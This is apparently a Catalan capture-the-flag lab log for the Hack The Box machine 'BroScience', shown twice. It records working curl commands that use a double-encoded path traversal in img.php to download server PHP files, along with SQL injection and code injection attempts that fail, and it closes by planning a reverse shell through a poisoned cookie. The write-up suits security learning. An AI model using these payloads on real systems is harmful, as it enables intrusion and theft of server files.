En aquest apartat realitzem una sèrie de comprovacions per definir per on es pot atacar la màquina:
Acció 1:
Persona --> Jaume
Temps --> 27/02/2023 --> 19:45 --> 19:56
Acció --> Accedir al directori /incluedes i analitzar el contingut
Endpoint --> brosciense.htb/includes
Resultat:
--> Veiem diversos arxius, això significa que el +Includes està activat
--> Si intentem accedir dins un arxiu del /includes apareix el següent error: Error: Missing 'path' parameter.
Output:
Acció 2:
Persona --> Cristian
Temps --> 27/02/2023 --> 19:40 --> 19:55
Acció --> Path traversal amb ../../../
Endpoint --> https://broscience.htb/img.php
Resultat --> Detecta el path traversal com un atac i no el podem fer.
Output:
Podem intentar fer un Path Traversal en el LFI per descarregar-nos tots fitxers .php del servidor, per tant, el primer és executar un path traversal amb exit, entrarem a la següent URL:
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252findex.php > index.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2182 100 2182 0 0 18818 0 --:--:-- --:--:-- --:--:-- 18973
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252flogin.php > login.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3028 100 3028 0 0 25693 0 --:--:-- --:--:-- --:--:-- 25880
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252factivate.php > activate.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2026 100 2026 0 0 17418 0 --:--:-- --:--:-- --:--:-- 17465
Acció 4:
Persona --> Jaume
Temps --> 27/02/2023 --> 20:00 --> 20:15
Acció --> Utilitzant el path transversal, descarregar tota la documentació disponible al /includes
També exemanir el codi dels fitxers descarregats
Endpoint --> https://broscience.htb/includes
Resultat -->
Output:
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o db_connect.php https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 337 100 337 0 0 2860 0 --:--:-- --:--:-- --:--:-- 2880
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o header.php https://broscience.htb/includes/img.php?path=..%252fincludes/header.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 369 100 369 0 0 3045 0 --:--:-- --:--:-- --:--:-- 3049
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o img.php https://broscience.htb/includes/img.php?path=..%252fincludes/img.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 483 100 483 0 0 3992 0 --:--:-- --:--:-- --:--:-- 4025
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o navbar.php https://broscience.htb/includes/img.php?path=..%252fincludes/navbar.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1201 100 1201 0 0 10340 0 --:--:-- --:--:-- --:--:-- 10353
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o utils.php https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3060 100 3060 0 0 23687 0 --:--:-- --:--:-- --:--:-- 23720
Acció 5:
Persona --> Jaume
Temps --> 28/02/2023 Temps --> 17:30 --> 18:30
Acció --> SQL Injection
Endpoint --> https://broscience.htb/register.php
Resultat --> No es pot fer la injecció SQL al /register
Output:
En aquest intent el que hem de fer és una SQL injection, la idea és modificar la query que executa i donar-li una operació que resulti TRUE i ignorar la resta de la sentència SQL (#), la manera de fer-ho és posar " or 1=1 # al username i a password.
Quan posem " or 1=1 # només a username ens obliga a omplir el contingut dels quatre camps.
Please fill all fields in.
Si posem " or 1=1 # a tots els camps del register
En el camp email es comprova si el contingut inserit coincideix amb l'email.
Per tant, no es pot fer una injecció SQL
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "register.php". En l'anàlisi aquest fitxer veiem que hi ha un pg_prepare que el que fa és blindar-se de la injecció SQL. De fet n'ha ha 4:
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
Acció 6:
Persona --> Cristian
Temps --> 27/02/2023 --> 20:20 --> 20:40
Acció --> Code injection.
Endpoint --> https://broscience.htb/exercise.php?id=2
Resultat --> No es pot injectar codi
Output:
Mirarem d'injectar codi en l'URL d'un dels post de la pàgina a veure si no validen els arguments. Agafem l'URL d'un dels posts:
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "exercice.php":
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252fexercise.php > exercise.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4969 100 4969 0 0 39335 0 --:--:-- --:--:-- --:--:-- 39436
┌─[lao@parrot]─[~/broscience]
└──╼ $cat exercise.php | sed -n 4,25p
if (isset($_GET['id'])) {
if (!empty($_GET['id'])) {
if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "get_exercise_query", 'SELECT exercises.id, username, title, image, content, exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id WHERE exercises.id=$1');
$res = pg_execute($db_conn, "get_exercise_query", array($_GET['id']));
if (pg_num_rows($res) > 0) {
$row = pg_fetch_row($res);
} else {
$alert = "No exercise with that ID";
}
} else {
$alert = "Invalid ID value";
}
} else {
$alert = "Empty ID value";
}
} else {
$alert = "Missing ID value";
}
Com veiem en el codi hi ha un "filter_var":
if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
Que valida que el valor de la id del exercici sigui un INT i com el que injectem no ho és ens retorna FALSE i la seva corresponent resposta:
$alert = "Invalid ID value";
Acció 7:
Persona --> Jaume
Temps --> 28/02/2023 Temps --> 18:30 --> 19:00
Acció --> SQL Injection
Endpoint --> https://broscience.htb/login.php
Resultat --> No es pot fer la injecció SQL al /login
Output:
En aquest intent el que hem de fer és una SQL injection al /login, la idea és modificar la query que executa i donar-li una operació que resulti TRUE i ignorar la resta de la sentència SQL (#), la manera de fer-ho és posar " or 1=1 # al username i a password.
Quan posem " or 1=1 # només a username, igual que en el /register ens obliga a omplir el contingut dels camps Username i Password
Please fill in both username and password.
Si posem " or 1=1 # tant a username com a password
Username or password is incorrect
Per tant, no es pot fer una injecció SQL
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "login.php". En l'anàlisi aquest fitxer veiem que hi ha un pg_prepare que el que fa és blindar-se de la injecció SQL.
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
Conclusions:
Un cop realitzat tots els atacs veiem que hi ha moltes parts del lloc web que estan ven securitzades com per exemple el login, el register i els arguments de les URLs. Per un altre cantó, tot i que la tàctica del "dot dot slash" per fer un "path traversal" no es pot fer, ja que està sanejat, si fem un "doble encode" en el "dot dot slash" sí que aconseguim fer el "path traversal" en el "local file inclusion" del fitxer "img.php" i descarregar-nos qualsevol fitxer de la màquina que pugui llegir l'usuari www-data.
Després d'analitzar tot el codi descarregat gràcies al path transversal, intentarem crear i validar un usuari amb el qual injectarem una cookie enverinada per passar una reverse shell i guanyar accés al servidor a la pròxima secció de l'auditoria.
En aquest apartat realitzem una sèrie de comprovacions per definir per on es pot atacar la màquina:
Acció 1:
Persona --> Jaume Temps --> 27/02/2023 --> 19:45 --> 19:56 Acció --> Accedir al directori /incluedes i analitzar el contingut Endpoint --> brosciense.htb/includes Resultat: --> Veiem diversos arxius, això significa que el +Includes està activat --> Si intentem accedir dins un arxiu del /includes apareix el següent error: Error: Missing 'path' parameter.
Output:
Acció 2:
Persona --> Cristian Temps --> 27/02/2023 --> 19:40 --> 19:55 Acció --> Path traversal amb ../../../ Endpoint --> https://broscience.htb/img.php Resultat --> Detecta el path traversal com un atac i no el podem fer. Output:
Podem intentar fer un Path Traversal en el LFI per descarregar-nos tots fitxers .php del servidor, per tant, el primer és executar un path traversal amb exit, entrarem a la següent URL:
Com a resposta ens diu:
Per tant, no podem fer un path traversal amb la tàctica del "dot dot slash".
Persona --> Cristian Temps --> 27/02/2023 --> 19:55 --> 20:10 Acció --> Path traversal amb double encode (https://owasp.org/www-community/Double_Encoding) Endpoint --> https://broscience.htb/img.php Resultat --> Hem aconseguit fer un path traversal en el Local File Inclusion del fitxer img.php. Output:
Un cop podem fer el path traversal podem anar a mirar perquè és possible fer-lo descarregant-nos el fitxer "img.php":
Com podem el script controla que no existeixin cap de les següents cadenes de caràcters (badwords):
Si detecta alguna d'aquestes cadenes de caràcters ens diu:
Per tant, quan fem el "path traversal" amb "double encode" no utilitzem cap d'aquestes cadenes i l'aconseguim fer.
Acció 3:
Persona --> Cristian Temps --> 27/02/2023 --> 20:10 --> 20:20 Acció --> Path traversal amb double encode (https://owasp.org/www-community/Double_Encoding) Endpoint --> https://broscience.htb/index.php, https://broscience.htb/login.php, https://broscience.htb/activate.php Resultat --> Ens hem descarregat fitxers de codi de la pàgina amb el path traversal en el Local File Inclusion del fitxer img.php. Output:
Acció 4:
Persona --> Jaume Temps --> 27/02/2023 --> 20:00 --> 20:15 Acció --> Utilitzant el path transversal, descarregar tota la documentació disponible al
/includes
També exemanir el codi dels fitxers descarregats Endpoint --> https://broscience.htb/includes Resultat --> Output:Acció 5:
Persona --> Jaume Temps --> 28/02/2023 Temps --> 17:30 --> 18:30 Acció --> SQL Injection Endpoint -->
https://broscience.htb/register.php
Resultat --> No es pot fer la injecció SQL al /register Output:En aquest intent el que hem de fer és una SQL injection, la idea és modificar la query que executa i donar-li una operació que resulti TRUE i ignorar la resta de la sentència SQL (#), la manera de fer-ho és posar " or 1=1 # al username i a password.
Quan posem " or 1=1 # només a username ens obliga a omplir el contingut dels quatre camps.
Please fill all fields in.
Si posem " or 1=1 # a tots els camps del register En el camp email es comprova si el contingut inserit coincideix amb l'email.
Per tant, no es pot fer una injecció SQL
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "register.php". En l'anàlisi aquest fitxer veiem que hi ha un
pg_prepare
que el que fa és blindar-se de la injecció SQL. De fet n'ha ha 4:$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
Acció 6:
Persona --> Cristian Temps --> 27/02/2023 --> 20:20 --> 20:40 Acció --> Code injection. Endpoint --> https://broscience.htb/exercise.php?id=2 Resultat --> No es pot injectar codi Output:
Mirarem d'injectar codi en l'URL d'un dels post de la pàgina a veure si no validen els arguments. Agafem l'URL d'un dels posts:
I li afegim al final --> ; phpinfo():
Com a resultat obtenim:
Per tant, no es pot fer un code injecction.
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "exercice.php":
Com veiem en el codi hi ha un "filter_var":
Que valida que el valor de la id del exercici sigui un INT i com el que injectem no ho és ens retorna FALSE i la seva corresponent resposta:
Acció 7:
Persona --> Jaume Temps --> 28/02/2023 Temps --> 18:30 --> 19:00 Acció --> SQL Injection Endpoint --> https://broscience.htb/login.php Resultat --> No es pot fer la injecció SQL al /login Output:
En aquest intent el que hem de fer és una SQL injection al /login, la idea és modificar la query que executa i donar-li una operació que resulti TRUE i ignorar la resta de la sentència SQL (#), la manera de fer-ho és posar " or 1=1 # al username i a password.
Quan posem " or 1=1 # només a username, igual que en el /register ens obliga a omplir el contingut dels camps Username i Password
Please fill in both username and password.
Si posem " or 1=1 # tant a username com a password
Username or password is incorrect
Per tant, no es pot fer una injecció SQL
Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "login.php". En l'anàlisi aquest fitxer veiem que hi ha un pg_prepare que el que fa és blindar-se de la injecció SQL.
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
Conclusions:
Un cop realitzat tots els atacs veiem que hi ha moltes parts del lloc web que estan ven securitzades com per exemple el login, el register i els arguments de les URLs. Per un altre cantó, tot i que la tàctica del "dot dot slash" per fer un "path traversal" no es pot fer, ja que està sanejat, si fem un "doble encode" en el "dot dot slash" sí que aconseguim fer el "path traversal" en el "local file inclusion" del fitxer "img.php" i descarregar-nos qualsevol fitxer de la màquina que pugui llegir l'usuari www-data.
Després d'analitzar tot el codi descarregat gràcies al path transversal, intentarem crear i validar un usuari amb el qual injectarem una cookie enverinada per passar una reverse shell i guanyar accés al servidor a la pròxima secció de l'auditoria.